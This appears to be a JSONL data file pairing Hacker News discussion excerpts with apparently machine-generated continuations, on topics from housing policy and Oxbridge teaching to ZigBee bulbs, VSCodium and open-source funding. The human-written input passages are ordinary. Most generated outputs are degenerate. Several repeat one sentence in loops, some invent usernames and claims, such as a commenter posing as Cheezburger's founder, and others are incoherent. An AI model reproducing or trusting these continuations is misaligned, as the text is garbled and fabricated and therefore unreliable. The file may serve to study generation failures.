of the cost of getting\n$400 or so off the price of the phone at purchase time.\n\nIdeally I could make a choice to buy an Andriod phone from a manufacturer with\nno branding and no restrictions, pay full price for it, and accept that the\nadditional cost is what I'm willing to pay for an unrestricted, unbranded\nphone. The inability to purchase a phone like that is the real problem, not\nthe restrictions placed on carrier subsidized phones.\n\nTwo years ago I bought an unrestricted HTC Diamond with Winmo 6.1. I paid over\n$600 for"} +{"output_text": ".\n\n~~~\nDanihan\nI wish to extend control of property beyond the borders of what they own.\n\n------\njedberg\nI think the biggest problem is that the housing market is so distorted by\nspeculation.\n\nIf you buy a house, you can't sell it for more than it's worth. If you sell it\nfor more than it's worth, you can't buy it back.\n\nSo you can't make money on the housing", "input_text": " I invite you to find\nan example of vacancies increasing in the same place that housing/rents climb\n- it won't exist in any of the real estate hot-beds in America.\n\nThe main thrust of this article and the research surrounding it by folks like\nCity Observatory, Sightline Institute, etc. is that we now _do_ know the\ndynamic of housing prices in booming economies. I don't feel like you've\nprovided any evidence that contradicts the conclusions presented in the\nresearch, so I'm having trouble pinpointing your skepticism. Let me know if\nI've missed your point!\n\n------\nalexasmyths\nFolks - please add immigration.\n\nWhy on earth people don't grasp that when population is increasing mostly due\nto newcomers it affects housing... this bothers me - because it's\npoliticized, nobody can talk about it it seems.\n\nImmigration is just a reality, it's part of the equation - it has real effects\non housing costs and wages, one can't ignore it because sometimes the answers\nmight not jive with one's politics.\n\nSo, immigration (or rather, population change, which can include births etc.)\n- is an important driving factor.\n\nWhich includes migration between states/regions obviously.\n\n~~~\nouid\njust build more housing.\n\n~~~\nDanihan\nNot everyone wants to live in a super over-populated / densely populated\narea...\n\nIn general, more saturation of humans == more problems.\n\nPeople make fun of NIMBY, but at the end of the day who better to manage the\nneighborhood than the people who are already invested in it..?\n\n~~~\nOrwellianChild\nYou wish to extend control of property beyond the borders of what they own"} +{"output_text": " and they are all very\ntalented, but they are not necessarily the best communicators.\n\n~~~\njameshart\nI think you're right that the Oxbridge system rewards good talk, but I think\nit's a mistake to think that it rewards good talk _in the same way_ as\nCambridge.\n\nCambridge is a place where you can get a degree in a subject that you're\ninterested in, and then go on to do a PhD in that subject.", "input_text": " degree\nin that subject. The \"at university you only study one\" reflects the nature of\nthe British university system: rather than a hodge-podge of courses\nculminating in a major, British students focus on a particular area from the\nstart -- other subjects are studied, but they don't rate separate examinations\nor qualifications. It's a system based on specialization: narrow but deep\nrather than broad but shallow.\n\nFinally, anyone who went to Oxbridge having read that article and taking \"nor\nis workaholic study encouraged\" at face value is going to be in for a very\nnasty surprise...\n\n~~~\nregularfry\nThis is really noticeable if you go through A levels, then end up in a\nuniversity course with a high foreign student intake. The first year is almost\n_entirely_ catch-up, as those who didn't do A levels get the content pumped\ninto them so that the course proper can start in the second year.\n\n------\ntomsaffell\nSome of this resonates, but this does not:\n\n _Oxbridge\u2019s teaching methods reward good talk_\n\nIn my experience, Cambridge University Engineering Department rewards those\nwho can _at age 19_ show _on paper_ a sound grasp of all branches of\nengineering, from vector calculus, to materials science, to the physics of a\ntransistor, to thermo dynamics.\n\nThose who can do both that, and also speak well, are often 'poached' into\nconsulting and banking, whereas those who can only do the former tend to\npursue more technical fields. But to blame that on Oxbridge seems unfair.\n\nOn an unrelated note: I've worked with many Oxbridge graduates of Humanities,\nClassics (Greek, Latin) and English Literature -"} +{"output_text": " a big hit.\n\n------\njoshuaheard\nI think the Nobel Prize in Literature is a great idea. It's a great way to\nrecognize the best of the best.\n\nI think the problem is that the Nobel Prize in Literature is not a prize for\nthe best of the best. It's a prize for the best of the best that are\nrecognized by the Nobel Committee.\n\nI think the problem is that the Nobel Committee is not a good judge", "input_text": "cott to my attention or else I'd never have read\n_Omeros_ \". But nope, most of the laureates continue to languish in relative\nobscurity even after they win the prizes.\n\n~~~\nhullo\nWell, it's also a lot easier to validate their choices - you and anyone else\nwho are fluent in English, Russian or a number of other languages can go pick\nup a copy of Voices from Chernobyl, say, and give it a try. (It's amazing.)\nYou will have a harder time validating the chemists' work.\n\n------\nGFischer\nI find it interesting that betting houses have gotten the winners right for a\nfew years already.\n\n[http://www.ibtimes.com/pulse/nobel-prize-2015-betting-\nodds-w...](http://www.ibtimes.com/pulse/nobel-prize-2015-betting-odds-who-are-\nliterature-peace-physics-favorites-2127359)\n\nSomething similar to the DraftKings affair maybe, where someone or several\nsomeones with insider information are using it for their advantage?\n\nShe wasn't a dark horse to win though, she's been favored for at least a year\nnow:\n\n[http://www.newyorker.com/culture/cultural-\ncomment/nonfiction...](http://www.newyorker.com/culture/cultural-\ncomment/nonfiction-deserves-nobel)\n\nSo it might be a case of a Prediction Game doing right\n\nI remember from some years ago the Hollywood Stock Exchange ( www.hsx.com/ ),\nan online game where people \"invested\" on movies, was"} +{"output_text": " is going to be\nsignificantly simpler than a client-side framework. But I think the author is\ntalking about apps that are more complex than that.\n\n~~~\nsmadge\nI agree with you that it depends on the app. I think the author is talking\nabout apps that are more complex than that.\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you can't just throw a bunch of javascript", "input_text": "\n_are_ many apps which just don't fit particularly well into a document. It's\nnot clear whether the author really thinks all such apps are trivial (eg\ndetecting your dog's age), but I'd argue there are plenty of substantial apps\nthat don't fit that model well, and benefit substantially from being a full-on\njs-heavy web app.\n\n~~~\nsmadge\n> whether it's worth an extra X hours/days/weeks for any given bit of\n> technical improvement, whether it's progressive enhancement or something\n> else\n\nProgressive enhancement leads to less initial effort. Single page and script\nheavy applications are more complex and take more time to develop and debug\nthan server side rendered applications. They often duplicate logic between the\nclient and the server. Alternatively, throw together some database queries and\nhook them up to html templates, and you have the foundation for a\nprogressively enhancing site. You can then expend the extra effort to ENHANCE\nyour site by sprinkling in client side code and cutting edge css features.\n\n~~~\nfishtoaster\nI suppose this is entirely subjective, but I have to disagree that an SPA is\ninherently more complex and time-intensive that building equivalent\nfunctionality mostly server-side. I split my time about evenly between\nserverside development (Rails, then PHP before that, then Java before that)\nand clientside (React, then Angular before that, then Backbone before that,\nand jquery soup before that). I think it depends on the app, but I definitely\nfind certain kinds of apps are a lot easier in a large clientside framework.\n\nNow, there are cases for each. Building a simple blog, you'd be right: a\nserver-rendered app with a sprinkling of JS for flavor"} +{"output_text": ". but the memo was a political document, and it's not a good\ndocument.\n\n~~~\njames_s_tayler\nI think the memo was a political document.\n\nI think it was a political document because it was written by a man who\nbelieves that women are inferior to men.\n\nI think it was a political document because it was written by a man who\nbelieves that women are inferior to men.\n\nI think it was", "input_text": ", and hard-science faculties \n remain so heavily male.\n \n\nIsn't the idea with free speech that you allow people to say things that you\ndisagree with?\n\nOr as someone else has already phrased it nicely:\n\n \n \n \"After all, if freedom of speech means anything, it means a willingness \n to stand and let people say things with which we disagree, \n and which do weary us considerably.\"\n \n\n[https://www.theatlantic.com/magazine/archive/2005/02/why-\nfem...](https://www.theatlantic.com/magazine/archive/2005/02/why-feminist-\ncareerists-neutered-larry-summers/303795/)\n\n------\nclairity\ni appreciate the article for pointing out a nuance often lost in this kind of\nsituation: that teasing out positions and perspectives requires a careful\nreading, and summaries are often (intentionally) misleading.\n\nbut let's be clear: the memo was a political document (in the common sense of\nthe word, rather than about government machinations). sure, james damore may\nhave been trying to have an honest conversation (and honest discussion should\ntotally be encouraged), but the guy's biases and position were clear right\nfrom the title onward. he was attempting to assert what he thought was a\nsuperior position and got shot down. now others who (secretly or otherwise)\nshare some portion of that position feel vulnerable and defensive, and we get\nheated discussions driven by primal emotions using otherwise rational-sounding\nwords. it's politics.\n\nthat's what the media is zooming in on, because that's where the charged\nemotions are"} +{"output_text": " do things they don't want to do? Are they happy?\n\nAsk to talk to people who have been there longer than you. What do they think\nof the company, their boss, team lead, other team members? Are they often\nasked to do things they don't want to do? Are they happy?\n\nAsk to talk to people who have been there longer than you. What do they think\nof the company, their boss, team lead, other team members", "input_text": " don't attach too\nmuch confidence in their relevance to your ability to enjoy your work, to\nperform well, or to advance your career.\n\n------\nLargeWu\nOne thing you can do is ask to see the space where developers are working. Do\ndevelopers there look generally happy? This is highly subjective and prone to\nfalse-positives, but in general if everybody kind of looks like they'd rather\nbe somewhere else, take note of that.\n\nIs there another developer in the interview besides the hiring manager? Do\nthey seem engaged and are trying to sell the job to you (a good sign), or are\nthey kind of disinterested (a bad sign)?\n\nAre the interview questions adversarial? (\"Solve this problem. Ha ha, that's\nnot right\" \\- bad) Or are they asking about you and your experiences and\ntrying to relate them to what you'll be working on. (good)\n\nWhat specific aspects of your current workplace do you view as toxic?\n\n------\nkelukelugames\nOne question I've always asked after an offer is \"Is there any reason why I\nshouldn't take this job?\"\n\nOne manager felt insulted and got angry. I took the job for other reasons but\nhe turned out to be petty.\n\n------\npeterwwillis\nAsk about the other employees. Executives, middle-managers, future co-workers.\nWhat is their background? How long have they been working in their group? Do\nthey have significant prior experience working in a position such as this?\nWhat is their day to day like?\n\nAsk to talk to people in the group you're going to be working in. What do they\nthink of the company, their boss, team lead, other team members? Are they\noften asked to"} +{"output_text": ", Techcrunch, Wired).\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI think it's a good idea to have a list of sites that are written by a single\nauthor.\n\n~~~\njoshu\nI think it's a good idea to have a list of sites that are written by a single\nauthor.\n\n------\njoshu\nI'm not sure I", "input_text": " of what you'll see and reveal if\ndoing so).\n\nDug up from my browser history, this was the original link, which reveals your\nlogged-in Google username to other simultaneous document viewers:\n\n!!!\n[http://spreadsheets.google.com/ccc?key=rC4oeGjG_04iG63oBJvy2...](http://spreadsheets.google.com/ccc?key=rC4oeGjG_04iG63oBJvy2xw)\n\n------\nsmokinn\nI don't know who I was following around but it was fun just clicking under\nyour cell selection =)\n\n------\ngojomo\nSites based on the real name of their primary writer are very strong: graham,\nsivers, yegge, shaw, buchheit, maroon, joel, aaron, pmarca, ejohn, godin. (A\nmessage about authenticity, voice, and personal brands?)\n\nOther sites known as the outlet of a single author also do well: catonmat,\ndaringfireball, raganwald, blogmaverick, avc.\n\n~~~\nskolor\nWhile I have no evidence to support this, I would guess this has to do with\nthe editing process. Comparing this list to ,\nyou see a lot of similar results. The difference is that some of them have\nquite a lot of results (Techcrunch, Wired), but not nearly as high of a\naverage score.\n\nIn fact, it looks like the sites hitting the top of the list for average score\nare ones that are written by a single author, who has several strong opinions\n(ZedShaw"} +{"output_text": "own experience. I have a bank account with a credit card. I have a credit\ncard with a bank account. I have a bank account with a debit card. I have a\ndebit card with a bank account. I have a bank account with a prepaid card. I\nhave a prepaid card with a bank account. I have a bank account with a\nchecking account. I have a checking account with a savings account. I have a\nsavings account with a checking", "input_text": " opposed to user-chosen\n> usernames or email addresses so there goes the value in credential stuffing\n> lists.\n\nI've had accounts at most of the major US banks and I don't think I can think\nof a single one that did this. Almost every single bank allows the user to\nselect a username or occasionally uses email for login. This is not a good\nargument for Chase, Citi, Amex, Discover, Capital One, Barclays, and a whole\nbunch more I can't think of off the top of my head.\n\n------\nlovehashbrowns\nThat whole blog post was sad, but this quote was particularly dumb:\n\n> Banks like ING will give you your money back\n\nNow, I don't have any experience with having my bank account hacked, but I\nhave had experience with my credit card getting used without my consent, and\nit's NOT a fun process. I can't even imagine how that'd go with a bank and a\nchecking account. I can only guess that you have to 1. get the right customer\nrep on the line and 2. wait a good while.\n\n------\nblackbrokkoli\nPeople tend to get lost in mathematical technicalities in these discussion.\nYes, even really dumb limitations leave 100k+ possibilities open, much more\nthan you can brute force with a three-strike-lockdown. But that's not making\nit ok. Even if some crafty hackers on the other side of the world find a way\nto crack my account I'm confident the bank will look at the possible PR and\nlegal costs and just refund my money fully, yes, yes, wonderful. That is not\nthe problem.\n\nThe problem is _user inertia_. Let me speak as an averaged one, mixed with my\n"} +{"output_text": " then it's not a software\nissue.\n\n------\njoshstrange\nI'm not sure why this is on HN. I'm not a fan of ZigBee but I'm not sure why\nthis is on HN.\n\n~~~\njoshstrange\nI'm not sure why this is on HN. I'm not a fan of ZigBee but I'm not sure why\nthis is on HN.\n\n~~~\njoshstrange\n", "input_text": " at this at all.\n\n~~~\neveningcoffee\n_I'm not mad at this at all. _\n\nI am. Because it is a way to extort money out of other ZigBee participants.\n\n~~~\nrubidium\nIt's not extorting. It's making sure your house doesn't burn down because you\nbought the el cheapo bulb from knockoff brand C.\n\n~~~\nraverbashing\nPray tell how does a LED Lamp can burn your house down\n\nOh wait it can't (if it can because your wiring is crap and the protection\ndevices are not working you have much bigger problems)\n\n~~~\nTeMPOraL\nA LED bulb converts your 230V AC (or 110V in the US) power source into 12V DC\n(in case of Hue itself). This converter part can, if poorly made, create a\nfire hazard. And a bulb is usually mounted inside a lamp, many of which are\nflammable and have the shape that will accumulate heat inside instead of\ndissipating it.\n\n~~~\nraverbashing\nYes, but that applies to china mobile chargers and a lot of other devices that\nnobody worries about (and also to CFDs and any led lamp that might be today in\nyour house)\n\nAnd of course it's not a software issue\n\n~~~\nWorldMaker\n> And of course it's not a software issue\n\nFunny thing though, but that AC/DC converter is manipulated by firmware\nactivated by a wifi protocol. If the fire only starts when the converter is\nactivated into its highest conversion rate in a particular sequence by certain\ncommands sent across that wifi protocol and those commands are being chosen by\na user of an app on a mobile device two rooms away,"} +{"output_text": ".\n\nThe only way to get the source code for the remote extensions is to buy the\noriginal product.\n\n~~~\nhardwaresofton\nI'm not sure I understand your point.\n\nThe remote extensions are open source, and they're open source because they're\nopen source.\n\nThe remote extensions are open source because they're open source.\n\nThe remote extensions are open source because they're open source.\n\nThe remote extensions are open source because", "input_text": ".com/VSCodium/vscodium\n======\ncercatrova\nNote that this doesn't work with VSCode's Remote extensions, such as for SSH,\nDocker containers, and WSL. Those extensions are closed source and explicitly\ncheck that they're running on only VSCode. I thought of using this but since I\nmainly use WSL, this doesn't work for me. Still, a laudable effort.\n\n~~~\nhardwaresofton\nForgive the kneejerk reaction but it sounds like we've come full circle back\nto closed source IDEs. For what reason are any of those extensions closed\nsource? Why are people using and championing tools with closed source\nextensions that check what they're running on (in order to force you to\nuse/buy the original thing) in 2020?\n\nYou can pry emacs/vim from my cold dead hands -- Microsoft is trying (and\nsucceeding) in google-chrome-ing it's way into the productive developer space.\nIf that's true, I wonder what the Firefox in this analogy is? Atom? Emacs/Vim?\n\n~~~\nohthehugemanate\nSee [https://code.visualstudio.com/docs/remote/faq#_why-arent-\nthe...](https://code.visualstudio.com/docs/remote/faq#_why-arent-the-remote-\ndevelopment-extensions-or-their-components-open-source)\n\nI love that post, because it encapsulates exactly the kind of internal logic\nthat traps not-fully-open organizations.\n\nMS can't open source the remote Dev extensions, because the service that runs\nit (and much of the client code) comes from other, proprietary offerings"} +{"output_text": "The \"wordpress blog with cats on it\" is a very shallow view of the company._\n\nI think you're right. I'm not sure why the reporter didn't ask more questions\nabout the technical side.\n\n------\njlangenauer\nI'm the founder of Cheezburger, and I'm happy to answer any questions about\nthe company.\n\n~~~\njoshu\nI'm curious about the business model.\n\n~~~\njlangenauer", "input_text": "How I Can Has Cheezburger became a web empire - jlangenauer\nhttp://www.nytimes.com/2010/06/14/technology/internet/14burger.html?partner=rss&emc=rss\n======\nMartinCron\nIn a move that isn't at all shocking, the NY Times reporter didn't have much\ninterest in talking with me or any of the other Cheezburger Network developers\nwhen she was in our office a few weeks ago.\n\nIf anyone is curious about the technical side of what we do and how we do it,\nI'll gladly answer questions here.\n\nAlso, we're looking for software developers. We're in Seattle, and have a\nstrong bias for local talent, but we have a bunch of remote deveopers. Of the\ndozen or so companies I've worked for, Cheezburger is hands down the best.\nSrsly. Email martin@cheezburger.com if you're interested.\n\n~~~\niamjustlooking\nI'm sure from a reporter perspective it doesn't appear like there's much of a\ntechnical side to what appears to be a wordpress blog with cats on it.\n\n~~~\nMartinCron\nThat's why I would expect a reporter to, when introduced to a bunch of\ntechnical people to ask, \"what? there's a technical side?\"\n\nThen we could talk about how we make systems to help the editorial team sort\nthrough the 16,000 content submissions we get every day, or how we have a\npublic API so people can submit funny content from their applications.\n\nThe \"wordpress blog with cats on it\" is a very shallow view of the company.\nThere's a lot more going on than that.\n\n~~~\nfortes\n_"} +{"output_text": " did), you're being a dick.\n\n~~~\nleorocky\nI'm not being a dick, I'm being a dick because I'm a dick.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nleorocky\nI'm not sure I understand the point of this either.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nleor", "input_text": " we'd had the public internet instead of just\nBBSes back when stuff like this was cutting-edge tech, instead of just a\nclever hack? Imagine if, say, C64 devs and hackers could do this kind of\nsharing instead of being limited to word-of-mouth.\n\n------\nleorocky\nThese kinds of ray casters are really cool, but at this point in time I don't\ncare about how small the code base is, just make a really cool ray caster in\nJavaScript and don't worry about how big the code is (within reasonable\nlimits)! I just want an awesome JavaScript ray caster library to be honest. :)\n\n~~~\nleorocky\nLooks like this comment of mine was irrevocably wrong and completely\nirredeemable. No apology is possible and I'm sorry for my very existence. Go\nsocial voting sites! Go internet culture! Yay.\n\n~~~\nbunderbunder\nA harsh response, yes. But frankly, what you said was harsh. An interactive\nraycaster in an executable an order of magnitude smaller than most networks'\nminimum transmission unit is an incredible accomplishment, and your response\nis to essentially drop trou and take a dump on it because teh w3b 4evaz.\n\n~~~\nleorocky\nWhat I said wasn't harsh, it just wasn't apparently enough genuflection and\nawe to appease the people that happened to be interested enough to check the\ncomments on this link. I care about as much as I did yesterday, which is not\nnothing. You and everyone else who demands more will just have to deal with\nit.\n\n~~~\nfl0wenol\nNo; if you don't appreciate something because you suspect you don't understand\nor lack context (as you"} +{"output_text": " they are not the only way to do so.\"\n\nI think this is a very important point. I think the author is right that\nthere are other ways to bring together investors and savers.\n\nI think the author is wrong that the government should be the only way to\nbring together investors and savers.\n\nI think the author is wrong that the government should be the only way to\nbring together investors and savers.\n\nI think the author is wrong that", "input_text": " help firms who are just starting up.\n\nI'm not all doom and gloom about the economy (even today), but I don't think\nthe importance of banks is understated. The author is essentially arguing that\nif we scraped the bottom of the barrel, we could probably replicate what banks\ndo (bringing investors and savers together) to a certain percentage. That's\ntrue, but what if your work just started paying you 50%. It might be hard to\nmeet your next month's bills.\n\n~~~\nPrrometheus\nI haven't read the article, but a counter-point:\n\nBanks are much less important today than they used to be because there are so\nmany more investment channels available. While regulation limits participation\nin these channels to the rich and well-lawyered, our economy is more redundant\nand diverse today than it has ever been.\n\n~~~\nfallentimes\n_there are so many more investment channels available_\n\nThis is exactly why banks spend significant more money on advertising (think\nWaMu pre-death) than they used to. It's also why they derive a higher\npercentage of revenue from fees.\n\n------\nmarkdionne\nInternational trade is dependent on Letters of Credit issued by banks:\n[http://www.nakedcapitalism.com/2008/10/international-\ntrade-s...](http://www.nakedcapitalism.com/2008/10/international-trade-\nseizing-up-due-to.html)\n\nThe shit will really hit the fan when your lights go out because your local\npower utility cannot get a shipment of fuel oil when no bank will guarantee\ntheir credit.\n\n------\nnewt0311\n\"Although banks perform an essential economic function \u2014 bringing together\ninvestors and savers \u2014"} +{"output_text": " wife is a Spanish teacher and she says that the Spanish language is\nbecoming more and more difficult to learn.\n\n~~~\npvaldes\nI am not a teacher, but I have been learning Spanish for a long time, and I\ncan tell you that the language is not difficult to learn.\n\nThe problem is that the Spanish language is not taught in schools, and the\npeople who are teaching it are not very good.\n\nThe problem is that the Spanish language", "input_text": " are\nnow en vogue.\n\n------\npvaldes\nThe \"you need more skills\" issue is a false problem. Is just that the bad guys\nhave kidnapped, blocked for years, or freeze, most of the good jobs.\n\nThis is a mediocrazy and they need to raise a lot of walls for keeping off the\nbrigther people who give them a bad image by comparison. And all is carefully\nplanned to keep this people unemployed also for the next four years.\n\nRequisites to be a minister in Spain?. Speaking english? not necessary.\nHolding any sort of degree of PhD? Not necessary. Years of experience working\nfor private companies?. Not necessary, but it helps. If you helped a big\ncompany to contaminate a bay for example, you could be even be promoted as the\nnext environment minister.\n\nRequisites for the rest of guys for a normal job?. A hamster wheel. Well,\nfirst of all you need to be fluent in three or four languages, just because\nmaybe one time a year, or once in ten years, you could need to speak with a\nforeigner; and for some reason you can't just raise a phone and hire a\nprofessional translator for this special day. You will burn in hell if you\ndare to suggest your boss this logic and simple solution. Then you need to\nhave a degree, a PhD, and also a few masters, and being able to hypnotize a\ngoat in less than five minutes, and work for free for some years, and...\n\nJob market in Spain is a question of kinship and means being promoted directly\nin lots of cases... or never.\n\n~~~\nwallflower\n> Well, first of all you need to be fluent in three or four languages\n\nMy"} +{"output_text": " had something like ECOT in the US.\n\n~~~\njedberg\n> I was just curious about ECOT yesterday since that's the school I did my\n> final years of high school and was wondering about where people would get\n> their transcripts if say for college...\n\nI went to ECOT and I got my transcripts from the school. I don't know if they\nstill do that, but I think they did.\n\n~~~\njedberg\nI", "input_text": ".\n\nI was just curious about ECOT yesterday since that's the school I did my final\nyears of high school and was wondering about where people would get their\ntranscripts if say for college... Looks like records were being transferred to\nthe last known district of residence, but there's also an email if you need\nhelp getting them it looks. I'm guessing probably where you lived when you\nwere last in school then, probably not where you are now if you moved since\nthen. The Educational Service Center of Lake Erie West in Toledo was the\nsponsor of ECOT.\n\n[http://www.esclakeeriewest.org/ECOTInformation.aspx](http://www.esclakeeriewest.org/ECOTInformation.aspx)\n\nAlso looks like the server is at Franklin County courthouse, the judge there\napproved $300,000 to upgrade the server to preserve it, as the FBI is also\nlooking into the school over the campaign contributions. Then the other big\nthing ECOT got in trouble over was the way of accounting attendance.\n\n[https://www.dispatch.com/news/20190801/judge-approves-\nmoving...](https://www.dispatch.com/news/20190801/judge-approves-moving-ecot-\nrecords-to-new-computer-server)\n\nI liked ECOT. If I needed to ask questions I could send a email(they had a\nfake email system, wouldn't go to external addresses) or even call up... I\nfelt they cared a lot more compared to the last public school I went to.\nActually got way better grades too. But someone else who went to ECOT after me\nfelt a bit different, so maybe things changed more since I went.\n\nI wish we"} +{"output_text": "m trying to sell PB, but I\u2019m not. I\u2019m\njust trying to explain why it doesn\u2019t work.\n\n~~~\nWhompingWindows\nI'm not trying to sell PB, I'm trying to understand it. I'm not a web developer\nor a security expert, I'm just trying to understand how it works.\n\n~~~\nidentity0\nI\u2019m not sure what you mean by \u201cunderstand how it works\u201d. It\u2019s a browser", "input_text": "------\nChikkaChiChi\nHas a browser team ever considered the possibility of creating allowlists for\nextensions only on certain websites? A native implementation of something like\nuMatrix that also worked on extensions could help end users at least remove\nslowdowns on sites they need to be performant.\n\n------\niou\nNice article. This seems like a relevant contrast to share here\n[https://brave.com/improved-ad-blocker-\nperformance/](https://brave.com/improved-ad-blocker-performance/)\n\n------\ngoalieca\nI typically run a number of extensions:\n\nduckduckgo privacy essentials, ublock origin, privacy badger, and whatever\nbuilt-in firefox has.\n\nPerhaps this is overkill but they all cover slightly different things.\n\n------\nWhompingWindows\nCan someone give me an ELI5 on Privacy Badger? My current stack is just uBlock\nOrigin, I'm considering layering PB over the top.\n\n~~~\nidentity0\nIn my experience, PB pretty much does nothing. UBO already blocks trackers and\nsocial media buttons, and if it doesn\u2019t, you can turn on those filters. PB\ndoesn\u2019t even block the trackers until it \u201clearns\u201d that they are trackers, it\njust avoids sending cookies (which doesn\u2019t stop facebook from fingerprinting\nyou.) The best method would probably turning off 3rd party scripts and iframes\nin UBO, but that does mean you have to un-break a lot of sites. An extension\nlike cookie autodelete would also do much more than PB, since, if you have no\ncookies, they can\u2019t be sent.\n\nEdit: I realized that I sound like I\u2019"} +{"output_text": " being who is responsible for the code?\nAnother is the ability to make changes to the code, and to have those changes\nbe accepted by the community.\n\nI think that the current model of open source is not going to work for\nsoftware that is not open source.\n\n~~~\njandrese\nI think the problem is that the open source model is not really a model. It's\njust a set of rules that are enforced by the community.\n\nThe problem", "input_text": "-written? Read some of it. Does it look like the authors have\nbeen careful, conscientious, and consistent? Does it look like code you\u2019d want\nto debug? You may need to.\n\nThis, 10,000x. I've repeated a similar mantra many, many times, and it's one\nof the most important reasons I refuse to use proprietary software. You should\nconsider no software a black box, and consider the software you chose to use\ncarefully, because it's your responsibility to keep it in good working order.\n\n~~~\nbunderbunder\nMaking it someone else's responsibility to keep it in good working order is\nthe value proposition behind (good) proprietary software: You give them money,\nthey give you a support contract.\n\nFor a company with more money than development resources, or even just a\ncompany whose development resources can be more profitably focused elsewhere,\nthis can be a quite reasonable trade to make.\n\n~~~\nvharuck\nIf a company behind proprietary software goes belly up, there's no support.\nBut there are always companies or even freelance devs who can be paid to\nsupport open source code.\n\n~~~\nIggleSniggle\nProprietary _and closed source_. We make use of open source (but not open\nlicense) proprietary software on my team.\n\n------\nraphlinus\nMy personal sense, from watching developments in this space, is that we are\ngoing to have to find some way for taking on an open source dependency to be\nan economic transaction, with money actually changing hands. With open source,\nthe code itself is free (in both the libre and gratis sense), but there are\nother places to identify value. One of them is chain of custody - is there an\nactual, somewhat responsible human"} +{"output_text": "\n\n------\njedberg\nI've been using this for a while now and it's been really helpful. I've\nstarted to use it to help me think about my own code.\n\n------\njedberg\nI've been using this for a while now and it's been really helpful. I've\nstarted to use it to help me think about my own code.\n\n------\njedberg\nI've been using this for a while now and it's", "input_text": "MyCognitiveBias&utm_...](https://mycognitivebias.com/?utm_source=MyCognitiveBias&utm_medium=Chrome%20Extensions&utm_campaign=footer%20link)\n\n------\njcutrell\nI\u2019ve started to accumulate mental models on my personal site. I hate how buzzy\nthe language has gotten, but I _do_ see the value in this accumulation.\n\nOne thing that\u2019s missing: how these models connect, and ways of picking the\nmodels you need for a given thought experiment. This is a service or app I\nwould gladly pay for, particularly if it provided the ability to add my own\nmodels, relate them in a smart way, etc.\n\n~~~\nxpe\nChoosing the mix of applicable models is the art of wisdom. Connecting all\nmodels pairwise would have O(N^2) complexity.\n\nBut I agree, writing down your thoughts on how models interact helps you\nunderstand their focal points and limitations.\n\nTo extend this line of thinking \u2014one might hope that the synthesis of multiple\nmodels would get more elegant \u2014 but this would likely come at the expense of\ninterpretability to particular situations. This line of thought is discussed\nextensively in the philosophy of science and complexity theory.\n\n~~~\nmyself248\nBut nobody needs the full pairwise everything, just a few related concepts,\nlike \"If this seems close but doesn't quite fit, have a look at P, Q, R, and\nS?\"\n\n------\nalexpetralia\nAs usual, I plug my list of mental models if anyone is interested!\n[https://alexpetralia.github.io/newsletters](https://alexpetralia.github.io/newsletters)"} +{"output_text": "R) for nonprofits\"\n\nWe're looking for a full-stack developer to join our small team of developers\nand designers.\n\nWe're a small team of developers and designers who are passionate about\nchanging the world. We're building a Twilio-based platform that will allow\nnonprofits to engage with their donors and supporters.\n\nWe're looking for someone who is passionate about building great products and\nis excited to work with a small team of developers and", "input_text": "architect among our tech founders we of course make full use of AWS in\nbuilding a robust, distributed set of applications and services.\n\nIf you're interested in finding out more, head to\n[https://tails.com/careers](https://tails.com/careers) or drop an email to\nsteve@tails.com.\n\n------\ndanecjensen\nSock Club | Web Developer (Ruby on Rails, Javascript) | Austin, TX | FULL-\nTIME, ONSITE, www.sockclub.com\n\nThe retail landscape is shifting it's reorganizing from around the automobile\nto around the smartphone. We are working to capitalize on this change building\na DNVB (digitally native vertical brand) and also working on the discovery\nproblem for ecommerce. If you're interested in this opportunity contact me at\ndane@sotmclub.com\n\n------\nloourr\nBackboneJS | New York City | ONSITE | Contract/Full-Time\n\nAbout the project:\n\n\\- Stable and long-term (up to 12 months)\n\n\\- High impact (you'll taking frontend lead with a small team)\n\n\\- Great for your portfolio, we're a leader in the music industry\n\n\\- Well compensated\n\nIf you're interested in the project respond with a little about yourself and\nyour portfolio if you have one.\n\nThis is for candidates who can work onsite only so please only respond if\nyou're able to commute to NYC.\n\nIf you're interested contact us at hello@staffhappy.co\n\n------\nworldadventurer\nCode4Good -- [https://www.engageSPARK.com](https://www.engageSPARK.com) \\-\n\"Twilio (Voice IV"} +{"output_text": " why it's a quirk.\n\n~~~\npro_zac\nI'm not sure what law it is, but it's a quirk because it's not a law.\n\n~~~\nSamuelAdams\nI'm not sure what you mean by that.\n\n~~~\npro_zac\nIt's a quirk because it's not a law.\n\n~~~\nSamuelAdams\nI'm not sure what you mean by that.\n\n~~~", "input_text": " it is harder for someone else to walk around\nand impersonate me with some shitty fake ID.\n\n~~~\nTomMarius\n> You are required and expected to have it on you at all times.\n\nI'd be very surprised about that. That's a law most of formerly communist\nEurope has cancelled immediately after the revolutions\n\n~~~\ndekrg\nPrepare to be surprised then as optional IDs are pretty much only a thing\nwestern countries.\n\n[https://en.wikipedia.org/wiki/List_of_national_identity_card...](https://en.wikipedia.org/wiki/List_of_national_identity_card_policies_by_country)\n\n[https://en.wikipedia.org/wiki/National_identity_cards_in_the...](https://en.wikipedia.org/wiki/National_identity_cards_in_the_European_Economic_Area#Overview_of_national_identity_cards)\n\n~~~\nTomte\nBad reference. Again Germany: it's colored red, but the table clearly states\nthat you don't need to carry it.\n\nWhich is the statement you tried to counter with your link.\n\n------\npro_zac\n\"As an added precaution, the university computing center decided to issue new\npasswords for all 38,000 JLU email accounts. However, the university was\nunable to do this online because of a quirk of German law, whereby the German\nNational Research and Education Network (DFN) requires, in this case, JLU\nstudents and staff to obtain their new passwords in person from the\nuniversity's IT staff, using as ID card to prove their identity.\"\n\n~~~\nSamuelAdams\nI'm curious to know what law this is and"} +{"output_text": " are a great tool for math and science. I use it daily.\n\n~~~\nraphar\nI use it for:\n\n\\- Calculating the area of a circle\n\n\\- Calculating the area of a triangle\n\n\\- Calculating the area of a rectangle\n\n\\- Calculating the area of a parallelogram\n\n\\- Calculating the area of a trapezoid\n\n\\- Calculating the area of a triangle\n\n\\- Calculating the area of a paralle", "input_text": " the quote from the article:\n\u201cThere were 56,007 cremations in Wuhan in the fourth quarter of 2019\u201d. (Edit:\nI shortened quote).\n\nAfter a month of lockdown, the number of backlogged urns should be over 18000.\n\n~~~\noefrha\n(More than) two months of lockdown, not one. So ~38000 cremations \u201cnormally\u201d.\nSpread out to 